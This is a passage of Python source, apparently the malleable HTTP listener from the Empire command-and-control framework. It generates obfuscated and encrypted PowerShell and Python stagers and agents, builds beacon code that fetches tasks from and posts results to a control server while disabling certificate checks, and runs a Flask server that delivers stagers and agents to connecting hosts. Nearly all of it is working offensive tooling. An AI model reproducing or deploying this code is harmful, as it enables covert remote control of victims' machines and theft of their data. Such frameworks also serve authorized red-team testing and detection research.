617 | launcher = listenerOptions['Launcher']['Value'] | |
618 | stagingKey = listenerOptions['StagingKey']['Value'] | |
619 | workingHours = listenerOptions['WorkingHours']['Value'] | |
620 | killDate = listenerOptions['KillDate']['Value'] | |
621 | ||
622 | # build profile | |
623 | profile = malleable.Profile._deserialize(listenerOptions["ProfileSerialized"]["Value"]) | |
624 | profile.stager.client.host = host | |
625 | profile.stager.client.port = port | |
626 | ||
627 | profileStr = profile.stager.client.stringify() | |
628 | ||
629 | # select some random URIs for staging | |
630 | stage1 = profile.stager.client.random_uri() | |
631 | stage2 = profile.stager.client.random_uri() | |
632 | ||
633 | if language.lower() == 'powershell': | |
634 | ||
635 | # read in the stager base | |
636 | f = open("%s/data/agent/stagers/http.ps1" % (self.mainMenu.installPath)) | |
637 | stager = f.read() | |
638 | f.close() | |
639 | ||
640 | # Get the random function name generated at install and patch the stager with the proper function name | |
641 | conn = self.get_db_connection() | |
642 | self.lock.acquire() | |
643 | stager = helpers.keyword_obfuscation(stager) | |
644 | self.lock.release() | |
645 | ||
646 | # patch in custom headers | |
647 | if profile.stager.client.headers: | |
648 | headers = ",".join([":".join([k.replace(":","%3A"),v.replace(":","%3A")]) for k,v in profile.stager.client.headers.items()]) | |
649 | stager = stager.replace("$customHeaders = \"\";", "$customHeaders = \"" + headers + "\";") | |
650 | ||
651 | # patch in working hours | |
652 | if workingHours: | |
653 | stager = stager.replace("WORKING_HOURS_REPLACE", workingHours) | |
654 | ||
655 | # patch in the killdate | |
656 | if killDate: | |
657 | stager = stager.replace("REPLACE_KILLDATE", killDate) | |
658 | ||
659 | # patch in the server and key information | |
660 | stager = stager.replace("REPLACE_SERVER", host) | |
661 | stager = stager.replace("REPLACE_STAGING_KEY", stagingKey) | |
662 | stager = stager.replace("/index.jsp", stage1) | |
663 | stager = stager.replace("/index.php", stage2) | |
664 | ||
665 | randomizedStager = '' | |
666 | # forces inputs into a bytestring to ensure 2/3 compatibility | |
667 | stagingKey = stagingKey.encode('UTF-8') | |
668 | # stager = stager.encode('UTF-8') | |
669 | # randomizedStager = randomizedStager.encode('UTF-8') | |
670 | ||
671 | for line in stager.split("\n"): | |
672 | line = line.strip() | |
673 | # skip commented line | |
674 | if not line.startswith("#"): | |
675 | # randomize capitalization of lines without quoted strings | |
676 | if "\"" not in line: | |
677 | randomizedStager += helpers.randomize_capitalization(line) | |
678 | else: | |
679 | randomizedStager += line | |
680 | ||
681 | if obfuscate: | |
682 | randomizedStager = helpers.obfuscate(self.mainMenu.installPath, randomizedStager, obfuscationCommand=obfuscationCommand) | |
683 | ||
684 | if encode: | |
685 | return helpers.enc_powershell(randomizedStager) | |
686 | elif encrypt: | |
687 | RC4IV = os.urandom(4) | |
688 | return RC4IV + encryption.rc4(RC4IV + stagingKey, randomizedStager.encode('UTF-8')) | |
689 | else: | |
690 | return randomizedStager | |
691 | ||
692 | elif language.lower() == 'python': | |
693 | template_path = [ | |
694 | os.path.join(self.mainMenu.installPath, '/data/agent/stagers'), | |
695 | os.path.join(self.mainMenu.installPath, './data/agent/stagers')] | |
696 | eng = templating.TemplateEngine(template_path) | |
697 | template = eng.get_template('http.py') | |
698 | ||
699 | template_options = { | |
700 | 'working_hours': workingHours, | |
701 | 'kill_date': killDate, | |
702 | 'staging_key': stagingKey, | |
703 | 'profile': profileStr, | |
704 | 'stage_1': stage1, | |
705 | 'stage_2': stage2 | |
706 | } | |
707 | ||
708 | stager = template.render(template_options) | |
709 | stager = obfuscation.py_minify(stager) | |
710 | ||
711 | if encode: | |
712 | return base64.b64encode(stager) | |
713 | elif encrypt: | |
714 | RC4IV = os.urandom(4) | |
715 | return RC4IV + encryption.rc4(RC4IV + stagingKey.encode('UTF-8'), stager.encode('UTF-8')) | |
716 | else: | |
717 | return stager | |
718 | ||
719 | else: | |
720 | print(helpers.color("[!] listeners/http_malleable generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.")) | |
721 | ||
722 | return None | |
723 | ||
724 | ||
725 | def generate_agent(self, listenerOptions, language=None, obfuscate=False, obfuscationCommand=""): | |
726 | """ | |
727 | Generate the full agent code needed for communications with the listener. | |
728 | """ | |
729 | ||
730 | if not language: | |
731 | print(helpers.color("[!] listeners/http_malleable generate_agent(): no language specified!")) | |
732 | return None | |
733 | ||
734 | # build profile | |
735 | profile = malleable.Profile._deserialize(listenerOptions["ProfileSerialized"]["Value"]) | |
736 | ||
737 | language = language.lower() | |
738 | delay = listenerOptions["DefaultDelay"]["Value"] | |
739 | jitter = listenerOptions["DefaultJitter"]["Value"] | |
740 | lostLimit = listenerOptions["DefaultLostLimit"]["Value"] | |
741 | killDate = listenerOptions["KillDate"]["Value"] | |
742 | workingHours = listenerOptions["WorkingHours"]["Value"] | |
743 | b64DefaultResponse = base64.b64encode(self.default_response().encode('UTF-8')).decode('UTF-8') | |
744 | ||
745 | profileStr = profile.stager.client.stringify() | |
746 | ||
747 | if language == 'powershell': | |
748 | #read in agent code | |
749 | f = open(self.mainMenu.installPath + "./data/agent/agent.ps1") | |
750 | code = f.read() | |
751 | f.close() | |
752 | ||
753 | # Get the random function name generated at install and patch the stager with the proper function name | |
754 | conn = self.get_db_connection() | |
755 | self.lock.acquire() | |
756 | code = helpers.keyword_obfuscation(code) | |
757 | self.lock.release() | |
758 | ||
759 | # path in the comms methods | |
760 | commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language) | |
761 | code = code.replace("REPLACE_COMMS", commsCode) | |
762 | ||
763 | # strip out the comments and blank lines | |
764 | code = helpers.strip_powershell_comments(code) | |
765 | ||
766 | # patch in the delay, jitter, lost limit, and comms profile | |
767 | code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay)) | |
768 | code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter)) | |
769 | code = code.replace('$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profileStr) + "\"") | |
770 | code = code.replace('$LostLimit = 60', "$LostLimit = " + str(lostLimit)) | |
771 | code = code.replace('$DefaultResponse = ""', '$DefaultResponse = "' + b64DefaultResponse +'"') | |
772 | ||
773 | # patch in the killDate and workingHours if they're specified | |
774 | if killDate != "": | |
775 | code = code.replace('$KillDate,', "$KillDate = '" + str(killDate) + "',") | |
776 | if obfuscate: | |
777 | code = helpers.obfuscate(self.mainMenu.installPath, code, obfuscationCommand=obfuscationCommand) | |
778 | return code | |
779 | ||
780 | elif language == 'python': | |
781 | ||
782 | # read in the agent base | |
783 | code = "" | |
784 | with open(self.mainMenu.installPath + "./data/agent/agent.py") as f: | |
785 | code = f.read() | |
786 | ||
787 | # patch in the comms methods | |
788 | commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language) | |
789 | code = code.replace('REPLACE_COMMS', commsCode) | |
790 | ||
791 | # strip out comments and blank lines | |
792 | code = helpers.strip_python_comments(code) | |
793 | ||
794 | # patch in the delay, jitter, lost limit, and comms profile | |
795 | code = code.replace('delay = 60', 'delay = %s' % (delay)) | |
796 | code = code.replace('jitter = 0.0', 'jitter = %s' % (jitter)) | |
797 | code = code.replace('profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', 'profile = "%s"' % (profileStr)) | |
798 | code = code.replace('lostLimit = 60', 'lostLimit = %s' % (lostLimit)) | |
799 | code = code.replace('defaultResponse = base64.b64decode("")', 'defaultResponse = base64.b64decode("%s")' % (b64DefaultResponse)) | |
800 | ||
801 | # patch in the killDate and workingHours if they're specified | |
802 | if killDate != "": | |
803 | code = code.replace('killDate = ""', 'killDate = "%s"' % (killDate)) | |
804 | if workingHours != "": | |
805 | code = code.replace('workingHours = ""', 'workingHours = "%s"' % (workingHours)) | |
806 | ||
807 | return code | |
808 | else: | |
809 | print(helpers.color("[!] listeners/http_malleable generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.")) | |
810 | ||
811 | ||
812 | def generate_comms(self, listenerOptions, language=None): | |
813 | """ | |
814 | Generate just the agent communication code block needed for communications with this listener. | |
815 | This is so agents can easily be dynamically updated for the new listener. | |
816 | """ | |
817 | ||
818 | # extract the set options for this instantiated listener | |
819 | host = listenerOptions['Host']['Value'] | |
820 | port = listenerOptions['Port']['Value'] | |
821 | ||
822 | # build profile | |
823 | profile = malleable.Profile._deserialize(listenerOptions["ProfileSerialized"]["Value"]) | |
824 | profile.get.client.host = host | |
825 | profile.get.client.port = port | |
826 | profile.post.client.host = host | |
827 | profile.post.client.port = port | |
828 | ||
829 | if language: | |
830 | if language.lower() == 'powershell': | |
831 | # PowerShell | |
832 | ||
833 | vWc = helpers.generate_random_script_var_name("wc") | |
834 | ||
835 | updateServers = "$Script:ControlServers = @(\"%s\");" % (host) | |
836 | updateServers += "$Script:ServerIndex = 0;" | |
837 | ||
838 | # ==== HANDLE SSL ==== | |
839 | if host.startswith('https'): | |
840 | updateServers += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" | |
841 | ||
842 | # ==== DEFINE GET ==== | |
843 | getTask = "$script:GetTask = {" | |
844 | getTask += "try {" | |
845 | getTask += "if ($Script:ControlServers[$Script:ServerIndex].StartsWith('http')) {" | |
846 | ||
847 | # ==== BUILD ROUTING PACKET ==== | |
848 | # meta 'TASKING_REQUEST' : 4 | |
849 | getTask += "$RoutingPacket = New-RoutingPacket -EncData $Null -Meta 4;" | |
850 | getTask += "$RoutingPacket = [System.Text.Encoding]::Default.GetString($RoutingPacket);" | |
851 | getTask += profile.get.client.metadata.generate_powershell("$RoutingPacket") | |
852 | ||
853 | # ==== BUILD REQUEST ==== | |
854 | getTask += "$"+vWc+" = New-Object System.Net.WebClient;" | |
855 | ||
856 | # ==== CONFIGURE PROXY ==== | |
857 | getTask += "$"+vWc+".Proxy = [System.Net.WebRequest]::GetSystemWebProxy();" | |
858 | getTask += "$"+vWc+".Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;" | |
859 | getTask += "if ($Script:Proxy) {" | |
860 | getTask += "$"+vWc+".Proxy = $Script:Proxy;" | |
861 | getTask += "}" | |
862 | ||
863 | # ==== CHOOSE URI ==== | |
864 | getTask += "$taskURI = " + ",".join(["'%s'" % u for u in (profile.get.client.uris if profile.get.client.uris else ["/"])]) + " | Get-Random;" | |
865 | ||
866 | # ==== ADD PARAMETERS ==== | |
867 | first = True | |
868 | for parameter, value in profile.get.client.parameters.items(): | |
869 | getTask += "$taskURI += '"+("?" if first else "&")+"';" | |
870 | first = False | |
871 | getTask += "$taskURI += '"+parameter+"="+value+"';" | |
872 | if profile.get.client.metadata.terminator.type == malleable.Terminator.PARAMETER: | |
873 | getTask += "$taskURI += '"+("?" if first else "&")+"';" | |
874 | first = False | |
875 | getTask += "$taskURI += '"+profile.get.client.metadata.terminator.arg+"=' + $RoutingPacket;" | |
876 | ||
877 | if profile.get.client.metadata.terminator.type == malleable.Terminator.URIAPPEND: | |
878 | getTask += "$taskURI += $RoutingPacket;" | |
879 | ||
880 | # ==== ADD HEADERS ==== | |
881 | for header, value in profile.get.client.headers.items(): | |
882 | getTask += "$"+vWc+".Headers.Add('"+header+"', '"+value+"');" | |
883 | if profile.get.client.metadata.terminator.type == malleable.Terminator.HEADER: | |
884 | getTask += "$"+vWc+".Headers.Add('"+profile.get.client.metadata.terminator.arg+"', $RoutingPacket);" | |
885 | ||
886 | # ==== ADD BODY ==== | |
887 | if profile.get.client.metadata.terminator.type == malleable.Terminator.PRINT: | |
888 | getTask += "$body = $RoutingPacket;" | |
889 | else: | |
890 | getTask += "$body = '"+profile.get.client.body+"';" | |
891 | ||
892 | # ==== SEND REQUEST ==== | |
893 | if profile.get.client.verb.lower() != "get" or profile.get.client.body or profile.get.client.metadata.terminator.type == malleable.Terminator.PRINT: | |
894 | getTask += "$result = $"+vWc+".UploadData($Script:ControlServers[$Script:ServerIndex] + $taskURI, '"+ profile.get.client.verb +"', [System.Text.Encoding]::Default.GetBytes('"+ profile.get.client.body +"'));" | |
895 | else: | |
896 | getTask += "$result = $"+vWc+".DownloadData($Script:ControlServers[$Script:ServerIndex] + $taskURI);" | |
897 | ||
898 | # ==== EXTRACT RESULTS ==== | |
899 | if profile.get.server.output.terminator.type == malleable.Terminator.HEADER: | |
900 | getTask += "$data = $"+vWc+".responseHeaders.get('"+profile.get.server.output.terminator.arg+"');" | |
901 | getTask += "Add-Type -AssemblyName System.Web; $data = [System.Web.HttpUtility]::UrlDecode($data);" | |
902 | ||
903 | elif profile.get.server.output.terminator.type == malleable.Terminator.PRINT: | |
904 | getTask += "$data = $result;" | |
905 | getTask += "$data = [System.Text.Encoding]::Default.GetString($data);" | |
906 | ||
907 | # ==== INTERPRET RESULTS ==== | |
908 | getTask += profile.get.server.output.generate_powershell_r("$data"); | |
909 | getTask += "$data = [System.Text.Encoding]::Default.GetBytes($data);" | |
910 | ||
911 | # ==== RETURN RESULTS ==== | |
912 | getTask += "$data;" | |
913 | getTask += "}" | |
914 | ||
915 | # ==== HANDLE ERROR ==== | |
916 | getTask += "} catch [Net.WebException] {" | |
917 | getTask += "$script:MissedCheckins += 1;" | |
918 | getTask += "if ($_.Exception.GetBaseException().Response.statuscode -eq 401) {" | |
919 | getTask += "Start-Negotiate -S '$ser' -SK $SK -UA $ua;" | |
920 | getTask += "}" | |
921 | getTask += "}" | |
922 | getTask += "};" | |
923 | ||
924 | # ==== DEFINE POST ==== | |
925 | sendMessage = "$script:SendMessage = {" | |
926 | sendMessage += "param($Packets);" | |
927 | sendMessage += "if ($Packets) {" | |
928 | ||
929 | # note: id container not used, only output | |
930 | ||
931 | # ==== BUILD ROUTING PACKET ==== | |
932 | # meta 'RESULT_POST' : 5 | |
933 | sendMessage += "$EncBytes = Encrypt-Bytes $Packets;" | |
934 | sendMessage += "$RoutingPacket = New-RoutingPacket -EncData $EncBytes -Meta 5;" | |
935 | sendMessage += "$RoutingPacket = [System.Text.Encoding]::Default.GetString($RoutingPacket);" | |
936 | ||
937 | sendMessage += profile.post.client.output.generate_powershell("$RoutingPacket") | |
938 | ||
939 | # ==== BUILD REQUEST ==== | |
940 | sendMessage += "if ($Script:ControlServers[$Script:ServerIndex].StartsWith('http')) {" | |
941 | sendMessage += "$"+vWc+" = New-Object System.Net.WebClient;" | |
942 | ||
943 | # ==== CONFIGURE PROXY ==== | |
944 | sendMessage += "$"+vWc+".Proxy = [System.Net.WebRequest]::GetSystemWebProxy();" | |
945 | sendMessage += "$"+vWc+".Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;" | |
946 | sendMessage += "if ($Script:Proxy) {" | |
947 | sendMessage += "$"+vWc+".Proxy = $Script:Proxy;" | |
948 | sendMessage += "}" | |
949 | ||
950 | # ==== CHOOSE URI ==== | |
951 | sendMessage += "$taskURI = " + ",".join(["'%s'" % u for u in (profile.post.client.uris if profile.post.client.uris else ["/"])]) + " | Get-Random;" | |
952 | ||
953 | # ==== ADD PARAMETERS ==== | |
954 | first = True | |
955 | for parameter, value in profile.post.client.parameters.items(): | |
956 | sendMessage += "$taskURI += '"+("?" if first else "&")+"';" | |
957 | first = False | |
958 | sendMessage += "$taskURI += '"+parameter+"="+value+"';" | |
959 | if profile.post.client.output.terminator.type == malleable.Terminator.PARAMETER: | |
960 | sendMessage += "$taskURI += '"+("?" if first else "&")+"';" | |
961 | first = False | |
962 | sendMessage += "$taskURI += '"+profile.post.client.output.terminator.arg+"=' + $RoutingPacket;" | |
963 | ||
964 | if profile.post.client.output.terminator.type == malleable.Terminator.URIAPPEND: | |
965 | sendMessage += "$taskURI += $RoutingPacket;" | |
966 | ||
967 | # ==== ADD HEADERS ==== | |
968 | for header, value in profile.post.client.headers.items(): | |
969 | sendMessage += "$"+vWc+".Headers.Add('"+header+"', '"+value+"');" | |
970 | if profile.post.client.output.terminator.type == malleable.Terminator.HEADER: | |
971 | sendMessage += "$"+vWc+".Headers.Add('"+profile.post.client.output.terminator.arg+"', $RoutingPacket);" | |
972 | ||
973 | # ==== ADD BODY ==== | |
974 | if profile.post.client.output.terminator.type == malleable.Terminator.PRINT: | |
975 | sendMessage += "$body = $RoutingPacket;" | |
976 | else: | |
977 | sendMessage += "$body = '"+profile.post.client.body+"';" | |
978 | ||
979 | # ==== SEND REQUEST ==== | |
980 | sendMessage += "try {" | |
981 | if profile.post.client.verb.lower() != "get" or profile.post.client.body or profile.post.client.output.terminator.type == malleable.Terminator.PRINT: | |
982 | sendMessage += "$result = $"+vWc+".UploadData($Script:ControlServers[$Script:ServerIndex] + $taskURI, '"+ profile.post.client.verb.upper() +"', [System.Text.Encoding]::Default.GetBytes($body));" | |
983 | else: | |
984 | sendMessage += "$result = $"+vWc+".DownloadData($Script:ControlServers[$Script:ServerIndex] + $taskURI);" | |
985 | ||
986 | # ==== HANDLE ERROR ==== | |
987 | sendMessage += "} catch [System.Net.WebException] {" | |
988 | sendMessage += "if ($_.Exception.GetBaseException().Response.statuscode -eq 401) {" | |
989 | sendMessage += "Start-Negotiate -S '$ser' -SK $SK -UA $ua;" | |
990 | sendMessage += "}" | |
991 | sendMessage += "}" | |
992 | sendMessage += "}" | |
993 | sendMessage += "}" | |
994 | sendMessage += "};" | |
995 | ||
996 | return updateServers + getTask + sendMessage | |
997 | ||
998 | ||
999 | elif language.lower() == 'python': | |
1000 | # Python | |
1001 | ||
1002 | updateServers = "server = '%s'\n" % (host) | |
1003 | ||
1004 | # ==== HANDLE SSL ==== | |
1005 | if host.startswith("https"): | |
1006 | updateServers += "hasattr(ssl, '_create_unverified_context') and ssl._create_unverified_context() or None\n" | |
1007 | ||
1008 | sendMessage = "def send_message(packets=None):\n" | |
1009 | sendMessage += " global missedCheckins\n" | |
1010 | sendMessage += " global server\n" | |
1011 | sendMessage += " global headers\n" | |
1012 | sendMessage += " global taskURIs\n" | |
1013 | ||
1014 | sendMessage += " vreq = type('vreq', (urllib.Request, object), {'get_method':lambda self:self.verb if (hasattr(self, 'verb') and self.verb) else urllib.Request.get_method(self)})\n" | |
1015 | ||
1016 | # ==== BUILD POST ==== | |
1017 | sendMessage += " if packets:\n" | |
1018 | ||
1019 | # ==== BUILD ROUTING PACKET ==== | |
1020 | sendMessage += " data = ''.join(packets)\n" | |
1021 | sendMessage += " encData = aes_encrypt_then_hmac(key, data)\n" | |
1022 | sendMessage += " routingPacket = build_routing_packet(stagingKey, sessionID, meta=5, encData=encData)\n" | |
1023 | sendMessage += "\n".join([" " + _ for _ in profile.post.client.output.generate_python("routingPacket").split("\n")]) + "\n" | |
1024 | ||
1025 | # ==== CHOOSE URI ==== | |
1026 | sendMessage += " taskUri = random.sample("+ profile.post.client.uris +", 1)[0]\n" | |
1027 | sendMessage += " requestUri = server + taskUri\n" | |
1028 | ||
1029 | # ==== ADD PARAMETERS ==== | |
1030 | sendMessage += " parameters = {}\n" | |
1031 | for parameter, value in profile.post.client.parameters.items(): | |
1032 | sendMessage += " parameters['"+parameter+"'] = '"+value+"'\n" | |
1033 | if profile.post.client.output.terminator.type == malleable.Terminator.PARAMETER: | |
1034 | sendMessage += " parameters['"+profile.post.client.output.terminator.arg+"'] = routingPacket\n" | |
1035 | sendMessage += " if parameters:\n" | |
1036 | sendMessage += " requestUri += '?' + urllib.urlencode(parameters)\n" | |
1037 | ||
1038 | if profile.post.client.output.terminator.type == malleable.Terminator.URIAPPEND: | |
1039 | sendMessage += " requestUri += routingPacket\n" | |
1040 | ||
1041 | # ==== ADD BODY ==== | |
1042 | if profile.post.client.output.terminator.type == malleable.Terminator.PRINT: | |
1043 | sendMessage += " body = routingPacket\n" | |
1044 | else: | |
1045 | sendMessage += " body = '"+profile.post.client.body+"'\n" | |
1046 | ||
1047 | # ==== BUILD REQUEST ==== | |
1048 | sendMessage += " req = vreq(requestUri, body)\n" | |
1049 | sendMessage += " req.verb = '"+profile.post.client.verb+"'\n" | |
1050 | ||
1051 | # ==== ADD HEADERS ==== | |
1052 | for header, value in profile.post.client.headers.items(): | |
1053 | sendMessage += " req.add_header('"+header+"', '"+value+"')\n" | |
1054 | if profile.post.client.output.terminator.type == malleable.Terminator.HEADER: | |
1055 | sendMessage += " req.add_header('"+profile.post.client.output.terminator.arg+"', routingPacket)\n" | |
1056 | ||
1057 | # ==== BUILD GET ==== | |
1058 | sendMessage += " else:\n" | |
1059 | ||
1060 | # ==== BUILD ROUTING PACKET | |
1061 | sendMessage += " routingPacket = build_routing_packet(stagingKey, sessionID, meta=4)\n" | |
1062 | sendMessage += "\n".join([" " + _ for _ in profile.get.client.metadata.generate_python("routingPacket").split("\n")]) + "\n" | |
1063 | ||
1064 | # ==== CHOOSE URI ==== | |
1065 | sendMessage += " taskUri = random.sample("+ profile.get.client.uris +", 1)[0]\n" | |
1066 | sendMessage += " requestUri = server + taskUri\n" | |
1067 | ||
1068 | # ==== ADD PARAMETERS ==== | |
1069 | sendMessage += " parameters = {}\n" | |
1070 | for parameter, value in profile.get.client.parameters.items(): | |
1071 | sendMessage += " parameters['"+parameter+"'] = '"+value+"'\n" | |
1072 | if profile.get.client.metadata.terminator.type == malleable.Terminator.PARAMETER: | |
1073 | sendMessage += " parameters['"+profile.get.client.metadata.terminator.arg+"'] = routingPacket\n" | |
1074 | sendMessage += " if parameters:\n" | |
1075 | sendMessage += " requestUri += '?' + urllib.urlencode(parameters)\n" | |
1076 | ||
1077 | if profile.get.client.metadata.terminator.type == malleable.Terminator.URIAPPEND: | |
1078 | sendMessage += " requestUri += routingPacket\n" | |
1079 | ||
1080 | # ==== ADD BODY ==== | |
1081 | if profile.get.client.metadata.terminator.type == malleable.Terminator.PRINT: | |
1082 | sendMessage += " body = routingPacket\n" | |
1083 | else: | |
1084 | sendMessage += " body = '"+profile.get.client.body+"'\n" | |
1085 | ||
1086 | # ==== BUILD REQUEST ==== | |
1087 | sendMessage += " req = vreq(requestUri, body)\n" | |
1088 | sendMessage += " req.verb = '"+profile.get.client.verb+"'\n" | |
1089 | ||
1090 | # ==== ADD HEADERS ==== | |
1091 | for header, value in profile.get.client.headers.items(): | |
1092 | sendMessage += " req.add_header('"+header+"', '"+value+"')\n" | |
1093 | if profile.get.client.metadata.terminator.type == malleable.Terminator.HEADER: | |
1094 | sendMessage += " req.add_header('"+profile.get.client.metadata.terminator.arg+"', routingPacket)\n" | |
1095 | ||
1096 | # ==== SEND REQUEST ==== | |
1097 | sendMessage += " try:\n" | |
1098 | sendMessage += " res = urllib.urlopen(req)\n" | |
1099 | ||
1100 | # ==== EXTRACT RESPONSE ==== | |
1101 | if profile.get.server.output.terminator.type == malleable.Terminator.HEADER: | |
1102 | header = profile.get.server.output.terminator.arg | |
1103 | sendMessage += " data = res.info().dict['"+header+"'] if '"+header+"' in res.info().dict else ''\n" | |
1104 | sendMessage += " data = urllib.parse.unquote(data)\n" | |
1105 | elif profile.get.server.output.terminator.type == malleable.Terminator.PRINT: | |
1106 | sendMessage += " data = res.read()\n" | |
1107 | ||
1108 | # ==== DECODE RESPONSE ==== | |
1109 | sendMessage += "\n".join([" " + _ for _ in profile.get.server.output.generate_python_r("data").split("\n")]) + "\n" | |
1110 | ||
1111 | sendMessage += " return ('200', data)\n" | |
1112 | ||
1113 | # ==== HANDLE ERROR ==== | |
1114 | sendMessage += " except urllib.HTTPError as HTTPError:\n" | |
1115 | sendMessage += " missedCheckins += 1\n" | |
1116 | sendMessage += " if HTTPError.code == 401:\n" | |
1117 | sendMessage += " sys.exit(0)\n" | |
1118 | sendMessage += " return (HTTPError.code, '')\n" | |
1119 | sendMessage += " except urllib.URLError as URLError:\n" | |
1120 | sendMessage += " missedCheckins += 1\n" | |
1121 | sendMessage += " return (URLError.reason, '')\n" | |
1122 | ||
1123 | sendMessage += " return ('', '')\n" | |
1124 | ||
1125 | return updateServers + sendMessage | |
1126 | ||
1127 | else: | |
1128 | print(helpers.color("[!] listeners/template generate_comms(): invalid language specification, only 'powershell' and 'python' are current supported for this module.")) | |
1129 | else: | |
1130 | print(helpers.color('[!] listeners/template generate_comms(): no language specified!')) | |
1131 | ||
1132 | def start_server(self, listenerOptions): | |
1133 | """ | |
1134 | Threaded function that actually starts up the Flask server. | |
1135 | """ | |
1136 | ||
1137 | # make a copy of the currently set listener options for later stager/agent generation | |
1138 | listenerOptions = copy.deepcopy(listenerOptions) | |
1139 | ||
1140 | # extract the set options for this instantiated listener | |
1141 | bindIP = listenerOptions['BindIP']['Value'] | |
1142 | port = listenerOptions['Port']['Value'] | |
1143 | host = listenerOptions['Host']['Value'] | |
1144 | stagingKey = listenerOptions['StagingKey']['Value'] | |
1145 | listenerName = listenerOptions['Name']['Value'] | |
1146 | proxy = listenerOptions['Proxy']['Value'] | |
1147 | proxyCreds = listenerOptions['ProxyCreds']['Value'] | |
1148 | certPath = listenerOptions['CertPath']['Value'] | |
1149 | ||
1150 | # build and validate profile | |
1151 | profile = malleable.Profile._deserialize(listenerOptions["ProfileSerialized"]["Value"]) | |
1152 | profile.validate() | |
1153 | ||
1154 | # suppress the normal Flask output | |
1155 | log = logging.getLogger('werkzeug') | |
1156 | log.setLevel(logging.ERROR) | |
1157 | ||
1158 | # initialize flask server | |
1159 | app = Flask(__name__) | |
1160 | self.app = app | |
1161 | ||
1162 | @app.route('/', methods=["GET", "POST"]) | |
1163 | @app.route('/<path:request_uri>', methods=["GET", "POST"]) | |
1164 | def handle_request(request_uri="", tempListenerOptions=None): | |
1165 | """ | |
1166 | Handle an agent request. | |
1167 | """ | |
1168 | data = request.get_data() | |
1169 | clientIP = request.remote_addr | |
1170 | url = request.url | |
1171 | method = request.method | |
1172 | headers = request.headers | |
1173 | profile = malleable.Profile._deserialize(self.options["ProfileSerialized"]["Value"]) | |
1174 | ||
1175 | # log request | |
1176 | listenerName = self.options['Name']['Value'] | |
1177 | message = "[*] {} request for {}/{} from {} ({} bytes)".format(request.method.upper(), request.host, request_uri, clientIP, len(request.data)) | |
1178 | signal = json.dumps({ | |
1179 | 'print': False, | |
1180 | 'message': message | |
1181 | }) | |
1182 | dispatcher.send(signal, sender="listeners/http_malleable/{}".format(listenerName)) | |
1183 | ||
1184 | try: | |
1185 | # build malleable request from flask request | |
1186 | malleableRequest = malleable.MalleableRequest() | |
1187 | malleableRequest.url = url | |
1188 | malleableRequest.verb = method | |
1189 | malleableRequest.headers = headers | |
1190 | malleableRequest.body = data | |
1191 | ||
1192 | # fix non-ascii characters | |
1193 | if '%' in malleableRequest.path: | |
1194 | malleableRequest.path = urllib.parse.unquote(malleableRequest.path) | |
1195 | ||
1196 | # identify the implementation by uri | |
1197 | implementation = None | |
1198 | for uri in sorted((profile.stager.client.uris if profile.stager.client.uris else ["/"]) + (profile.get.client.uris if profile.get.client.uris else ["/"]) + (profile.post.client.uris if profile.post.client.uris else ["/"]), key=len, reverse=True): | |
1199 | if request_uri.startswith(uri.lstrip("/")): | |
1200 | # match! | |
1201 | for imp in [profile.stager, profile.get, profile.post]: | |
1202 | if uri in (imp.client.uris if imp.client.uris else ["/"]): | |
1203 | implementation = imp | |
1204 | break | |
1205 | if implementation: break | |
1206 | ||
1207 | # attempt to extract information from the request | |
1208 | if implementation: | |
1209 | agentInfo = None | |
1210 | if implementation is profile.stager and request.method == "POST": | |
1211 | # stage 1 negotiation comms are hard coded, so we can't use malleable | |
1212 | agentInfo = malleableRequest.body | |
1213 | elif implementation is profile.post: | |
1214 | # the post implementation has two spots for data, requires two-part extraction | |
1215 | agentInfo, output = implementation.extract_client(malleableRequest) | |
1216 | agentInfo = (agentInfo if agentInfo else b"") + (output if output else b"") | |
1217 | else: | |
1218 | agentInfo = implementation.extract_client(malleableRequest) | |
1219 | if agentInfo: | |
1220 | dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, agentInfo, listenerOptions, clientIP) | |
1221 | if dataResults and len(dataResults) > 0: | |
1222 | for (language, results) in dataResults: | |
1223 | if results: | |
1224 | if isinstance(results, str): | |
1225 | results = results.encode("latin-1") | |
1226 | if results == b'STAGE0': | |
1227 | # step 2 of negotiation -> server returns stager (stage 1) | |
1228 | ||
1229 | # log event | |
1230 | message = "\n[*] Sending {} stager (stage 1) to {}".format(language, clientIP) | |
1231 | signal = json.dumps({ | |
1232 | 'print': True, | |
1233 | 'message': message | |
1234 | }) | |
1235 | dispatcher.send(signal, sender="listeners/http_malleable/{}".format(listenerName)) | |
1236 | ||
1237 | # build stager (stage 1) | |
1238 | stager = self.generate_stager(language=language, listenerOptions=listenerOptions, obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand) | |
1239 | ||
1240 | # build malleable response with stager (stage 1) | |
1241 | malleableResponse = implementation.construct_server(stager) | |
1242 | return Response(malleableResponse.body, malleableResponse.code, malleableResponse.headers) | |
1243 | ||
1244 | elif results.startswith(b'STAGE2'): | |
1245 | # step 6 of negotiation -> server sends patched agent (stage 2) | |
1246 | ||
1247 | if ':' in clientIP: | |
1248 | clientIP = '[' + clientIP + ']' | |
1249 | sessionID = results.split(b' ')[1].strip().decode('UTF-8') | |
1250 | sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey'] | |
1251 | ||
1252 | # log event | |
1253 | message = "[*] Sending agent (stage 2) to {} at {}".format(sessionID, clientIP) | |
1254 | signal = json.dumps({ | |
1255 | 'print': True, | |
1256 | 'message': message | |
1257 | }) | |
1258 | dispatcher.send(signal, sender="listeners/http_malleable/{}".format(listenerName)) | |
1259 | ||
1260 | # TODO: handle this with malleable?? | |
1261 | tempListenerOptions = None | |
1262 | if "Hop-Name" in request.headers: | |
1263 | hopListenerName = request.headers.get('Hop-Name') | |
1264 | if hopListenerName: | |
1265 | try: | |
